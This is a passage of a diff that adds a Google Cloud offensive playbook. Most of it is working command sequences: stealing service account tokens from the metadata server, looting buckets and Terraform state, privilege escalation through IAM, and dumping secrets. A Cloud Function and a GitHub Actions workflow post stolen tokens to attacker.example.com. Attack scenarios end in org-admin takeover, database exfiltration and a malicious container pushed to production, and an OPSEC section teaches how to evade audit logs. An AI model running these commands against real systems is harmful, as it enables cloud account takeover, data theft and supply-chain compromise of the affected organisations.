gcloud projects get-iam-policy $PROJECT_ID \
|
|
266
|
+
--flatten="bindings[].members" \
|
|
267
|
+
--format="table(bindings.role,bindings.members)" \
|
|
268
|
+
--filter="bindings.members:$(gcloud config get-value account)"
|
|
269
|
+
|
|
270
|
+
# Enumerate effective permissions (requires iam.testIamPermissions)
|
|
271
|
+
# Use gcphound for automated testing of all permissions
|
|
272
|
+
python3 /opt/gcp-privesc/PrivEscScanner/main.py \
|
|
273
|
+
--service-account-json /path/to/key.json \
|
|
274
|
+
--project $PROJECT_ID
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
### 5.3 Metadata Server Access (from Compromised GCE Instance)
|
|
278
|
+
|
|
279
|
+
```bash
|
|
280
|
+
# From inside a GCE VM — access metadata server
|
|
281
|
+
# Both endpoints are equivalent
|
|
282
|
+
METADATA_URL="http://metadata.google.internal/computeMetadata/v1"
|
|
283
|
+
METADATA_IP="http://169.254.169.254/computeMetadata/v1"
|
|
284
|
+
|
|
285
|
+
# Get project info
|
|
286
|
+
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/project/project-id"
|
|
287
|
+
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/project/numeric-project-id"
|
|
288
|
+
|
|
289
|
+
# Get instance info
|
|
290
|
+
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/name"
|
|
291
|
+
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/zone"
|
|
292
|
+
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/service-accounts/"
|
|
293
|
+
|
|
294
|
+
# List attached Service Accounts
|
|
295
|
+
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/service-accounts/"
|
|
296
|
+
# Usually returns: default/
|
|
297
|
+
|
|
298
|
+
# Get OAuth2 access token for the attached SA
|
|
299
|
+
curl -H "Metadata-Flavor: Google" \
|
|
300
|
+
"${METADATA_URL}/instance/service-accounts/default/token"
|
|
301
|
+
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}
|
|
302
|
+
|
|
303
|
+
# Extract just the token
|
|
304
|
+
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
|
|
305
|
+
"${METADATA_URL}/instance/service-accounts/default/token" \
|
|
306
|
+
| jq -r '.access_token')
|
|
307
|
+
echo "Token: $TOKEN"
|
|
308
|
+
|
|
309
|
+
# Get token scopes
|
|
310
|
+
curl -H "Metadata-Flavor: Google" \
|
|
311
|
+
"${METADATA_URL}/instance/service-accounts/default/scopes"
|
|
312
|
+
|
|
313
|
+
# Get SSH keys from metadata
|
|
314
|
+
curl -H "Metadata-Flavor: Google" \
|
|
315
|
+
"${METADATA_URL}/project/attributes/ssh-keys"
|
|
316
|
+
curl -H "Metadata-Flavor: Google" \
|
|
317
|
+
"${METADATA_URL}/instance/attributes/ssh-keys"
|
|
318
|
+
|
|
319
|
+
# Get custom metadata (may contain secrets, passwords, API keys)
|
|
320
|
+
curl -H "Metadata-Flavor: Google" \
|
|
321
|
+
"${METADATA_URL}/instance/attributes/" --silent
|
|
322
|
+
curl -H "Metadata-Flavor: Google" \
|
|
323
|
+
"${METADATA_URL}/project/attributes/" --silent
|
|
324
|
+
|
|
325
|
+
# Get startup script (often contains credentials)
|
|
326
|
+
curl -H "Metadata-Flavor: Google" \
|
|
327
|
+
"${METADATA_URL}/instance/attributes/startup-script"
|
|
328
|
+
|
|
329
|
+
# Use token with gcloud
|
|
330
|
+
gcloud config set auth/access_token_file /dev/null
|
|
331
|
+
export CLOUDSDK_AUTH_ACCESS_TOKEN="$TOKEN"
|
|
332
|
+
gcloud projects list
|
|
333
|
+
```
|
|
334
|
+
|
|
335
|
+
### 5.4 Cloud Storage Bucket Exploitation
|
|
336
|
+
|
|
337
|
+
```bash
|
|
338
|
+
# List all buckets in project
|
|
339
|
+
gsutil ls -p $PROJECT_ID
|
|
340
|
+
|
|
341
|
+
# Check bucket ACL and IAM
|
|
342
|
+
gsutil iam get gs://BUCKET_NAME
|
|
343
|
+
gsutil acl get gs://BUCKET_NAME
|
|
344
|
+
|
|
345
|
+
# List bucket contents
|
|
346
|
+
gsutil ls gs://BUCKET_NAME
|
|
347
|
+
gsutil ls -r gs://BUCKET_NAME # recursive
|
|
348
|
+
|
|
349
|
+
# Check for publicly accessible buckets (unauthenticated)
|
|
350
|
+
curl -s "https://storage.googleapis.com/BUCKET_NAME" | head -50
|
|
351
|
+
# If it returns XML listing, bucket is public
|
|
352
|
+
|
|
353
|
+
# Download bucket contents
|
|
354
|
+
gsutil -m cp -r gs://BUCKET_NAME /tmp/bucket-loot/
|
|
355
|
+
|
|
356
|
+
# Search for credentials in bucket
|
|
357
|
+
gsutil cat gs://BUCKET_NAME/path/to/file.json
|
|
358
|
+
grep -r "private_key\|password\|secret\|token" /tmp/bucket-loot/
|
|
359
|
+
|
|
360
|
+
# Check for terraform state files (goldmine)
|
|
361
|
+
gsutil ls gs://BUCKET_NAME/**/*.tfstate
|
|
362
|
+
gsutil cp gs://BUCKET_NAME/default.tfstate /tmp/
|
|
363
|
+
cat /tmp/default.tfstate | jq '.resources[].instances[].attributes | select(.sensitive_attributes != null)'
|
|
364
|
+
|
|
365
|
+
# Enumerate all buckets visible to current identity
|
|
366
|
+
gsutil ls
|
|
367
|
+
|
|
368
|
+
# Try to access buckets from other projects using allUsers or allAuthenticatedUsers
|
|
369
|
+
# Scan target domain for public buckets
|
|
370
|
+
for bucket in $(cat /tmp/bucket-wordlist.txt); do
|
|
371
|
+
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
372
|
+
"https://storage.googleapis.com/$bucket")
|
|
373
|
+
if [ "$STATUS" != "403" ] && [ "$STATUS" != "404" ]; then
|
|
374
|
+
echo "ACCESSIBLE: $bucket (HTTP $STATUS)"
|
|
375
|
+
fi
|
|
376
|
+
done
|
|
377
|
+
|
|
378
|
+
# Write to a public bucket (defacement / data plant for exfil)
|
|
379
|
+
echo "test" | gsutil cp - gs://BUCKET_NAME/test.txt
|
|
380
|
+
|
|
381
|
+
# Make object public
|
|
382
|
+
gsutil acl ch -u AllUsers:R gs://BUCKET_NAME/file.txt
|
|
383
|
+
```
|
|
384
|
+
|
|
385
|
+
### 5.5 IAM Privilege Escalation
|
|
386
|
+
|
|
387
|
+
```bash
|
|
388
|
+
# --- Privesc via iam.serviceAccounts.setIamPolicy ---
|
|
389
|
+
# Grant yourself token creator on a high-priv SA
|
|
390
|
+
gcloud iam service-accounts add-iam-policy-binding HIGH_PRIV_SA_EMAIL \
|
|
391
|
+
--member="user:$(gcloud config get-value account)" \
|
|
392
|
+
--role="roles/iam.serviceAccountTokenCreator"
|
|
393
|
+
|
|
394
|
+
# Now impersonate the SA to get a token
|
|
395
|
+
gcloud auth print-access-token \
|
|
396
|
+
--impersonate-service-account=HIGH_PRIV_SA_EMAIL
|
|
397
|
+
|
|
398
|
+
# --- Privesc via iam.serviceAccounts.keys.create ---
|
|
399
|
+
# Create a new key for an existing high-priv SA
|
|
400
|
+
gcloud iam service-accounts keys create /tmp/stolen-sa-key.json \
|
|
401
|
+
--iam-account=HIGH_PRIV_SA_EMAIL
|
|
402
|
+
|
|
403
|
+
# Activate the key
|
|
404
|
+
gcloud auth activate-service-account \
|
|
405
|
+
HIGH_PRIV_SA_EMAIL \
|
|
406
|
+
--key-file=/tmp/stolen-sa-key.json
|
|
407
|
+
|
|
408
|
+
# --- Privesc via resourcemanager.projects.setIamPolicy ---
|
|
409
|
+
# Add yourself as owner
|
|
410
|
+
gcloud projects add-iam-policy-binding $PROJECT_ID \
|
|
411
|
+
--member="user:attacker@gmail.com" \
|
|
412
|
+
--role="roles/owner"
|
|
413
|
+
|
|
414
|
+
# --- Privesc via cloudfunctions.functions.create + iam.serviceAccounts.actAs ---
|
|
415
|
+
# Deploy a Cloud Function as a high-priv SA to steal its token
|
|
416
|
+
cat > /tmp/main.py << 'EOF'
|
|
417
|
+
import requests
|
|
418
|
+
def steal_token(request):
|
|
419
|
+
token = requests.get(
|
|
420
|
+
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
|
|
421
|
+
headers={"Metadata-Flavor": "Google"}
|
|
422
|
+
).json()
|
|
423
|
+
# Exfiltrate token to attacker-controlled endpoint
|
|
424
|
+
requests.post("https://attacker.example.com/token", json=token)
|
|
425
|
+
return "ok"
|
|
426
|
+
EOF
|
|
427
|
+
|
|
428
|
+
cat > /tmp/requirements.txt << 'EOF'
|
|
429
|
+
requests
|
|
430
|
+
EOF
|
|
431
|
+
|
|
432
|
+
cd /tmp && zip function.zip main.py requirements.txt
|
|
433
|
+
|
|
434
|
+
gcloud functions deploy steal-token-fn \
|
|
435
|
+
--runtime=python311 \
|
|
436
|
+
--trigger-http \
|
|
437
|
+
--allow-unauthenticated \
|
|
438
|
+
--service-account=HIGH_PRIV_SA_EMAIL \
|
|
439
|
+
--source=/tmp/function.zip \
|
|
440
|
+
--entry-point=steal_token \
|
|
441
|
+
--region=us-central1
|
|
442
|
+
|
|
443
|
+
# Invoke it
|
|
444
|
+
curl "https://us-central1-$PROJECT_ID.cloudfunctions.net/steal-token-fn"
|
|
445
|
+
|
|
446
|
+
# --- Privesc via compute.instances.setServiceAccount ---
|
|
447
|
+
# Attach a high-priv SA to an existing instance you control
|
|
448
|
+
gcloud compute instances set-service-account INSTANCE_NAME \
|
|
449
|
+
--service-account=HIGH_PRIV_SA_EMAIL \
|
|
450
|
+
--scopes=cloud-platform \
|
|
451
|
+
--zone=us-central1-a
|
|
452
|
+
|
|
453
|
+
# Then SSH in and access metadata
|
|
454
|
+
gcloud compute ssh INSTANCE_NAME --zone=us-central1-a -- \
|
|
455
|
+
"curl -s -H 'Metadata-Flavor: Google' \
|
|
456
|
+
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
|
|
457
|
+
|
|
458
|
+
# --- Automated privesc path discovery ---
|
|
459
|
+
cd /opt/gcp-privesc/PrivEscScanner
|
|
460
|
+
python3 main.py \
|
|
461
|
+
--service-account-json /path/to/key.json \
|
|
462
|
+
--project $PROJECT_ID \
|
|
463
|
+
--output /tmp/privesc-paths.json
|
|
464
|
+
```
|
|
465
|
+
|
|
466
|
+
### 5.6 Workload Identity Federation Abuse
|
|
467
|
+
|
|
468
|
+
```bash
|
|
469
|
+
# List Workload Identity pools
|
|
470
|
+
gcloud iam workload-identity-pools list \
|
|
471
|
+
--location=global \
|
|
472
|
+
--project=$PROJECT_ID
|
|
473
|
+
|
|
474
|
+
# Describe a pool
|
|
475
|
+
gcloud iam workload-identity-pools describe POOL_ID \
|
|
476
|
+
--location=global \
|
|
477
|
+
--project=$PROJECT_ID
|
|
478
|
+
|
|
479
|
+
# List providers in a pool
|
|
480
|
+
gcloud iam workload-identity-pools providers list \
|
|
481
|
+
--workload-identity-pool=POOL_ID \
|
|
482
|
+
--location=global \
|
|
483
|
+
--project=$PROJECT_ID
|
|
484
|
+
|
|
485
|
+
# Describe a provider (reveals attribute conditions — often misconfigured)
|
|
486
|
+
gcloud iam workload-identity-pools providers describe PROVIDER_ID \
|
|
487
|
+
--workload-identity-pool=POOL_ID \
|
|
488
|
+
--location=global \
|
|
489
|
+
--project=$PROJECT_ID
|
|
490
|
+
|
|
491
|
+
# Check SA IAM binding for WIF
|
|
492
|
+
gcloud iam service-accounts get-iam-policy SA_EMAIL \
|
|
493
|
+
--format=json | jq '.bindings[] | select(.role=="roles/iam.workloadIdentityUser")'
|
|
494
|
+
|
|
495
|
+
# If provider trusts GitHub Actions, and you control a repo:
|
|
496
|
+
# In GitHub Actions workflow:
|
|
497
|
+
# permissions:
|
|
498
|
+
# id-token: write
|
|
499
|
+
# steps:
|
|
500
|
+
# - uses: google-github-actions/auth@v2
|
|
501
|
+
# with:
|
|
502
|
+
# workload_identity_provider: projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID
|
|
503
|
+
# service_account: SA_EMAIL
|
|
504
|
+
|
|
505
|
+
# Check for overly broad attribute conditions like:
|
|
506
|
+
# attribute.repository_owner == "target-org" (any repo in org works)
|
|
507
|
+
# No condition at all (any GitHub Actions token works)
|
|
508
|
+
|
|
509
|
+
# Exchange a GitHub OIDC token for a GCP access token manually
|
|
510
|
+
GITHUB_TOKEN="eyJ..." # obtained from GitHub Actions
|
|
511
|
+
curl -X POST \
|
|
512
|
+
"https://sts.googleapis.com/v1/token" \
|
|
513
|
+
-H "Content-Type: application/json" \
|
|
514
|
+
-d "{
|
|
515
|
+
\"audience\": \"//iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID\",
|
|
516
|
+
\"grantType\": \"urn:ietf:params:oauth:grant-type:token-exchange\",
|
|
517
|
+
\"requestedTokenType\": \"urn:ietf:params:oauth:token-type:access_token\",
|
|
518
|
+
\"scope\": \"https://www.googleapis.com/auth/cloud-platform\",
|
|
519
|
+
\"subjectTokenType\": \"urn:ietf:params:oauth:token-type:jwt\",
|
|
520
|
+
\"subjectToken\": \"$GITHUB_TOKEN\"
|
|
521
|
+
}" | jq .
|
|
522
|
+
```
|
|
523
|
+
|
|
524
|
+
### 5.7 Secret Manager Enumeration
|
|
525
|
+
|
|
526
|
+
```bash
|
|
527
|
+
# List secrets
|
|
528
|
+
gcloud secrets list --project=$PROJECT_ID
|
|
529
|
+
|
|
530
|
+
# Access a secret value
|
|
531
|
+
gcloud secrets versions access latest \
|
|
532
|
+
--secret=SECRET_NAME \
|
|
533
|
+
--project=$PROJECT_ID
|
|
534
|
+
|
|
535
|
+
# List all versions of a secret
|
|
536
|
+
gcloud secrets versions list SECRET_NAME --project=$PROJECT_ID
|
|
537
|
+
|
|
538
|
+
# Access a specific version
|
|
539
|
+
gcloud secrets versions access 1 \
|
|
540
|
+
--secret=SECRET_NAME \
|
|
541
|
+
--project=$PROJECT_ID
|
|
542
|
+
|
|
543
|
+
# Bulk dump all accessible secrets
|
|
544
|
+
for secret in $(gcloud secrets list --project=$PROJECT_ID --format="value(name)"); do
|
|
545
|
+
echo "=== $secret ==="
|
|
546
|
+
gcloud secrets versions access latest --secret="$secret" --project=$PROJECT_ID 2>/dev/null
|
|
547
|
+
echo ""
|
|
548
|
+
done
|
|
549
|
+
```
|
|
550
|
+
|
|
551
|
+
### 5.8 Organization Policy Bypass
|
|
552
|
+
|
|
553
|
+
```bash
|
|
554
|
+
# List org policies on project
|
|
555
|
+
gcloud resource-manager org-policies list --project=$PROJECT_ID
|
|
556
|
+
|
|
557
|
+
# Describe a specific policy
|
|
558
|
+
gcloud resource-manager org-policies describe \
|
|
559
|
+
constraints/compute.requireOsLogin \
|
|
560
|
+
--project=$PROJECT_ID
|
|
561
|
+
|
|
562
|
+
# Check if you can override at project level
|
|
563
|
+
gcloud resource-manager org-policies set-policy \
|
|
564
|
+
--project=$PROJECT_ID \
|
|
565
|
+
/tmp/policy-override.yaml
|
|
566
|
+
|
|
567
|
+
# policy-override.yaml to disable OS Login requirement:
|
|
568
|
+
# constraint: constraints/compute.requireOsLogin
|
|
569
|
+
# booleanPolicy: {}
|
|
570
|
+
|
|
571
|
+
# List all available constraints
|
|
572
|
+
gcloud resource-manager org-policies list-available-constraints \
|
|
573
|
+
--organization=ORG_ID
|
|
574
|
+
|
|
575
|
+
# Disable domain restricted sharing (allows external SA bindings)
|
|
576
|
+
cat > /tmp/disable-drs.yaml << 'EOF'
|
|
577
|
+
constraint: constraints/iam.allowedPolicyMemberDomains
|
|
578
|
+
listPolicy:
|
|
579
|
+
allValues: ALLOW
|
|
580
|
+
EOF
|
|
581
|
+
gcloud resource-manager org-policies set-policy \
|
|
582
|
+
--project=$PROJECT_ID \
|
|
583
|
+
/tmp/disable-drs.yaml
|
|
584
|
+
```
|
|
585
|
+
|
|
586
|
+
### 5.9 CloudFox Automated Enumeration
|
|
587
|
+
|
|
588
|
+
```bash
|
|
589
|
+
# Run full GCP enumeration with cloudfox
|
|
590
|
+
cloudfox gcp --project $PROJECT_ID all-checks -o /tmp/cloudfox-output/
|
|
591
|
+
|
|
592
|
+
# Specific checks
|
|
593
|
+
cloudfox gcp --project $PROJECT_ID iam-simulator
|
|
594
|
+
cloudfox gcp --project $PROJECT_ID service-accounts
|
|
595
|
+
cloudfox gcp --project $PROJECT_ID storage-buckets
|
|
596
|
+
|
|
597
|
+
# Review output
|
|
598
|
+
ls /tmp/cloudfox-output/
|
|
599
|
+
cat /tmp/cloudfox-output/loot/*.txt
|
|
600
|
+
```
|
|
601
|
+
|
|
602
|
+
---
|
|
603
|
+
|
|
604
|
+
## 6. Real Attack Scenarios
|
|
605
|
+
|
|
606
|
+
### Scenario 1: Metadata Server to Organization Admin
|
|
607
|
+
|
|
608
|
+
**Context:** Gained RCE on a web application running on GCE. The VM has a Service Account attached.
|
|
609
|
+
|
|
610
|
+
```bash
|
|
611
|
+
# Step 1: Access metadata server from the compromised VM
|
|
612
|
+
curl -s -H "Metadata-Flavor: Google" \
|
|
613
|
+
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
|
|
614
|
+
> /tmp/token.json
|
|
615
|
+
|
|
616
|
+
TOKEN=$(cat /tmp/token.json | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
|
|
617
|
+
|
|
618
|
+
# Step 2: Identify the SA email
|
|
619
|
+
SA=$(curl -s -H "Metadata-Flavor: Google" \
|
|
620
|
+
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email")
|
|
621
|
+
echo "Compromised SA: $SA"
|
|
622
|
+
|
|
623
|
+
# Step 3: Enumerate projects accessible to this SA
|
|
624
|
+
export CLOUDSDK_AUTH_ACCESS_TOKEN="$TOKEN"
|
|
625
|
+
gcloud projects list --format="value(projectId)" > /tmp/projects.txt
|
|
626
|
+
cat /tmp/projects.txt
|
|
627
|
+
|
|
628
|
+
# Step 4: For each project, check IAM
|
|
629
|
+
for proj in $(cat /tmp/projects.txt); do
|
|
630
|
+
echo "=== $proj ==="
|
|
631
|
+
gcloud projects get-iam-policy $proj --format=json 2>/dev/null | \
|
|
632
|
+
jq '.bindings[] | select(.role | contains("admin") or contains("owner")) | {role, members}'
|
|
633
|
+
done
|
|
634
|
+
|
|
635
|
+
# Step 5: Discover the SA has roles/iam.serviceAccountAdmin at org level
|
|
636
|
+
# Now create a key for a high-priv SA
|
|
637
|
+
gcloud iam service-accounts list --project=prod-project-xyz \
|
|
638
|
+
--filter="email:terraform@" --format="value(email)"
|
|
639
|
+
# Found: terraform@prod-project-xyz.iam.gserviceaccount.com
|
|
640
|
+
|
|
641
|
+
# Step 6: Create a key for the terraform SA
|
|
642
|
+
gcloud iam service-accounts keys create /tmp/terraform-sa.json \
|
|
643
|
+
--iam-account=terraform@prod-project-xyz.iam.gserviceaccount.com
|
|
644
|
+
|
|
645
|
+
# Step 7: Activate the terraform SA
|
|
646
|
+
gcloud auth activate-service-account \
|
|
647
|
+
terraform@prod-project-xyz.iam.gserviceaccount.com \
|
|
648
|
+
--key-file=/tmp/terraform-sa.json
|
|
649
|
+
|
|
650
|
+
# Step 8: Terraform SA has roles/resourcemanager.organizationAdmin
|
|
651
|
+
# Grant attacker-controlled account org admin
|
|
652
|
+
gcloud organizations add-iam-policy-binding ORG_ID \
|
|
653
|
+
--member="user:attacker@gmail.com" \
|
|
654
|
+
--role="roles/resourcemanager.organizationAdmin"
|
|
655
|
+
|
|
656
|
+
# Step 9: Verify
|
|
657
|
+
gcloud auth login attacker@gmail.com
|
|
658
|
+
gcloud organizations get-iam-policy ORG_ID
|
|
659
|
+
# Attacker now has org-level control
|
|
660
|
+
```
|
|
661
|
+
|
|
662
|
+
### Scenario 2: Public Bucket to Cloud SQL Credentials to Database Exfiltration
|
|
663
|
+
|
|
664
|
+
**Context:** Target organization uses GCP. External assessment, no initial credentials.
|
|
665
|
+
|
|
666
|
+
```bash
|
|
667
|
+
# Step 1: Enumerate public buckets via company name patterns
|
|
668
|
+
COMPANY="targetcorp"
|
|
669
|
+
for suffix in "" "-dev" "-prod" "-staging" "-backup" "-assets" "-data" "-logs"; do
|
|
670
|
+
BUCKET="${COMPANY}${suffix}"
|
|
671
|
+
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
672
|
+
"https://storage.googleapis.com/$BUCKET")
|
|
673
|
+
[ "$STATUS" = "200" ] && echo "PUBLIC: gs://$BUCKET"
|
|
674
|
+
done
|
|
675
|
+
|
|
676
|
+
# Step 2: Found public bucket — enumerate contents
|
|
677
|
+
gsutil ls gs://targetcorp-backup/
|
|
678
|
+
|
|
679
|
+
# Step 3: Download terraform state files
|
|
680
|
+
gsutil cp gs://targetcorp-backup/terraform/default.tfstate /tmp/
|
|
681
|
+
|
|
682
|
+
# Step 4: Extract credentials from tfstate
|
|
683
|
+
cat /tmp/default.tfstate | jq -r '
|
|
684
|
+
.resources[].instances[].attributes |
|
|
685
|
+
to_entries[] |
|
|
686
|
+
select(.key | test("password|secret|key|token|credential"; "i")) |
|
|
687
|
+
"\(.key): \(.value)"
|
|
688
|
+
'
|
|
689
|
+
|
|
690
|
+
# Step 5: Found a service account key embedded in tfstate
|
|
691
|
+
cat /tmp/default.tfstate | jq -r '
|
|
692
|
+
.resources[] |
|
|
693
|
+
select(.type == "google_service_account_key") |
|
|
694
|
+
.instances[].attributes.private_key
|
|
695
|
+
' | base64 -d > /tmp/extracted-sa-key.json
|
|
696
|
+
|
|
697
|
+
# Step 6: Activate the extracted SA
|
|
698
|
+
gcloud auth activate-service-account --key-file=/tmp/extracted-sa-key.json
|
|
699
|
+
PROJECT_ID=$(cat /tmp/extracted-sa-key.json | jq -r '.project_id')
|
|
700
|
+
|
|
701
|
+
# Step 7: Enumerate Cloud SQL instances
|
|
702
|
+
gcloud sql instances list --project=$PROJECT_ID
|
|
703
|
+
|
|
704
|
+
# Step 8: Check Cloud SQL IAM — SA has cloudsql.admin
|
|
705
|
+
# Export database to a GCS bucket we can read
|
|
706
|
+
gcloud sql export sql SQL_INSTANCE_NAME \
|
|
707
|
+
gs://targetcorp-backup/sql-dump.sql \
|
|
708
|
+
--database=main_db \
|
|
709
|
+
--project=$PROJECT_ID
|
|
710
|
+
|
|
711
|
+
# Step 9: Download the exported database dump
|
|
712
|
+
gsutil cp gs://targetcorp-backup/sql-dump.sql /tmp/
|
|
713
|
+
|
|
714
|
+
# Step 10: Parse dump for sensitive data
|
|
715
|
+
grep -i "password\|email\|ssn\|credit_card\|api_key" /tmp/sql-dump.sql | head -100
|
|
716
|
+
```
|
|
717
|
+
|
|
718
|
+
### Scenario 3: CI/CD Workload Identity to Production Deployment
|
|
719
|
+
|
|
720
|
+
**Context:** Found a misconfigured GitHub Actions workflow that authenticates to GCP with no attribute condition on the Workload Identity provider.
|
|
721
|
+
|
|
722
|
+
```bash
|
|
723
|
+
# Step 1: Enumerate WIF via project metadata discovered in a public repo
|
|
724
|
+
# Target repo has: workload_identity_provider value visible in .github/workflows/
|
|
725
|
+
|
|
726
|
+
PROJECT_NUMBER="123456789012"
|
|
727
|
+
POOL_ID="github-pool"
|
|
728
|
+
PROVIDER_ID="github-provider"
|
|
729
|
+
SA_EMAIL="github-actions@target-project.iam.gserviceaccount.com"
|
|
730
|
+
|
|
731
|
+
# Step 2: Verify the provider has no attribute condition
|
|
732
|
+
gcloud iam workload-identity-pools providers describe $PROVIDER_ID \
|
|
733
|
+
--workload-identity-pool=$POOL_ID \
|
|
734
|
+
--location=global \
|
|
735
|
+
--project=target-project \
|
|
736
|
+
--format=json | jq '.attributeCondition'
|
|
737
|
+
# Returns: null — no condition, any GitHub Actions token works
|
|
738
|
+
|
|
739
|
+
# Step 3: Create attacker-controlled GitHub repo and trigger Actions workflow
|
|
740
|
+
# .github/workflows/steal.yml:
|
|
741
|
+
cat << 'EOF'
|
|
742
|
+
name: GCP Token Steal
|
|
743
|
+
on: [push]
|
|
744
|
+
permissions:
|
|
745
|
+
id-token: write
|
|
746
|
+
contents: read
|
|
747
|
+
jobs:
|
|
748
|
+
steal:
|
|
749
|
+
runs-on: ubuntu-latest
|
|
750
|
+
steps:
|
|
751
|
+
- uses: google-github-actions/auth@v2
|
|
752
|
+
id: auth
|
|
753
|
+
with:
|
|
754
|
+
workload_identity_provider: projects/123456789012/locations/global/workloadIdentityPools/github-pool/providers/github-provider
|
|
755
|
+
service_account: github-actions@target-project.iam.gserviceaccount.com
|
|
756
|
+
- name: Exfil token
|
|
757
|
+
run: |
|
|
758
|
+
echo "Token: ${{ steps.auth.outputs.access_token }}"
|
|
759
|
+
curl -X POST https://attacker.example.com/token \
|
|
760
|
+
-d "token=${{ steps.auth.outputs.access_token }}"
|
|
761
|
+
gcloud projects list
|
|
762
|
+
gsutil ls
|
|
763
|
+
EOF
|
|
764
|
+
|
|
765
|
+
# Step 4: Token received — use it from attacker machine
|
|
766
|
+
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.stolen_token"
|
|
767
|
+
|
|
768
|
+
# Step 5: Deploy malicious Cloud Run service to production
|
|
769
|
+
gcloud run deploy malicious-service \
|
|
770
|
+
--image=gcr.io/cloudrun/hello \
|
|
771
|
+
--platform=managed \
|
|
772
|
+
--region=us-central1 \
|
|
773
|
+
--project=target-project \
|
|
774
|
+
--allow-unauthenticated
|
|
775
|
+
|
|
776
|
+
# Step 6: Since SA has Artifact Registry write, push malicious container
|
|
777
|
+
# replacing legit container used in production
|
|
778
|
+
docker build -t gcr.io/target-project/app:latest /tmp/malicious-app/
|
|
779
|
+
docker push gcr.io/target-project/app:latest
|
|
780
|
+
|
|
781
|
+
# Step 7: Trigger redeployment — next Cloud Run revision uses malicious image
|
|
782
|
+
gcloud run deploy production-app \
|
|
783
|
+
--image=gcr.io/target-project/app:latest \
|
|
784
|
+
--region=us-central1 \
|
|
785
|
+
--project=target-project
|
|
786
|
+
```
|
|
787
|
+
|
|
788
|
+
---
|
|
789
|
+
|
|
790
|
+
## 7. OPSEC Considerations
|
|
791
|
+
|
|
792
|
+
### 7.1 Detection Risks
|
|
793
|
+
|
|
794
|
+
**High-Detection Actions — Avoid or Execute Carefully:**
|
|
795
|
+
|
|
796
|
+
| Action | Detection Method | Risk Level |
|
|
797
|
+
|--------|-----------------|------------|
|
|
798
|
+
| `gcloud projects get-iam-policy` across many projects | Cloud Audit Logs: Admin Activity | Medium |
|
|
799
|
+
| Creating SA keys | Cloud Audit Logs: Admin Activity — always logged | High |
|
|
800
|
+
| Modifying IAM bindings | Cloud Audit Logs: Admin Activity — always logged | High |
|
|
801
|
+
| Deploying Cloud Functions | Cloud Audit Logs + Cloud Monitoring | Medium |
|
|
802
|
+
| Exporting Cloud SQL | Cloud Audit Logs + DLP inspection | High |
|
|
803
|
+
| Accessing Secret Manager | Cloud Audit Logs: Data Access | Medium |
|
|
804
|
+
| Reading GCS buckets | Data Access logs (if enabled) | Low-Medium |
|
|
805
|
+
| Metadata server access | No logging — safe | Low |
|
|
806
|
+
|
|
807
|
+
**Cloud Audit Log Types:**
|
|
808
|
+
- Admin Activity: Always enabled, cannot be disabled, retained 400 days
|
|
809
|
+
- Data Access: Often disabled by default — check before assuming coverage
|
|
810
|
+
- System Events: Always enabled
|
|
811
|
+
|
|
812
|
+
**Detection Signatures to Avoid:**
|
|
813
|
+
|
|
814
|
+
```bash
|
|
815
|
+
# High-signal: Creating SA keys for SAs you don't own
|
|
816
|
+
# High-signal: Enumerating many projects in rapid succession
|
|
817
|
+
# High-signal: Adding IAM bindings for external accounts (@gmail.com)
|
|
818
|
+
# High-signal: Accessing secrets across multiple projects in bulk
|
|
819
|
+
# Medium-signal: Listing all SA keys across a project
|
|
820
|
+
# Low-signal: Reading GCS objects (if Data Access logs not enabled)
|
|
821
|
+
```
|
|
822
|
+
|
|
823
|
+
### 7.2 Evasion Techniques
|
|
824
|
+
|
|
825
|
+
```bash
|
|
826
|
+
# 1. Operate during business hours to blend with normal admin activity
|
|
827
|
+
# 2. Use the legitimate SA's normal API call patterns as a baseline
|
|
828
|
+
# 3. Prefer read-only enumeration before any write operations
|
|
829
|
+
# 4. When creating keys or modifying IAM, do it once and stop
|
|
830
|
+
|
|
831
|
+
# 3. Use impersonation chains instead of direct key creation
|
|
832
|
+
# (still logged, but appears as the legitimate SA, not your identity)
|
|
833
|
+
gcloud auth print-access-token \
|
|
834
|
+
--impersonate-service-account=TARGET_SA@project.iam.gserviceaccount.com
|
|
835
|
+
|
|
836
|
+
# 4. Avoid using your personal Google account for IAM modifications
|
|
837
|
+
# Use service account impersonation chains
|
|
838
|
+
|
|
839
|
+
# 5. Rate-limit your enumeration
|
|
840
|
+
for project in $(cat /tmp/projects.txt); do
|
|
841
|
+
gcloud iam service-accounts list --project=$project 2>/dev/null
|
|
842
|
+
sleep 2 # avoid burst patterns in logs
|
|
843
|
+
done
|
|
844
|
+
|
|
845
|
+
# 6. Check if Data Access logs are enabled before reading sensitive data
|
|
846
|
+
gcloud logging sinks list --project=$PROJECT_ID
|
|
847
|
+
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
|
|
848
|
+
jq '.auditConfigs'
|
|
849
|
+
|
|
850
|
+
# 7. Use resource-level requests rather than list-all where possible
|
|
851
|
+
# Targeted reads appear more legitimate than bulk enumeration
|
|
852
|
+
|
|
853
|
+
# 8. Clean up created resources (keys, functions, IAM bindings) after engagement
|
|
854
|
+
# List all SA keys created today
|
|
855
|
+
gcloud iam service-accounts keys list \
|
|
856
|
+
--iam-account=SA_EMAIL \
|
|
857
|
+
--filter="validAfterTime>=$(date -u +%Y-%m-%d)" \
|
|
858
|
+
--format="value(name)"
|
|
859
|
+
|
|
860
|
+
# Delete backdoor key
|
|
861
|
+
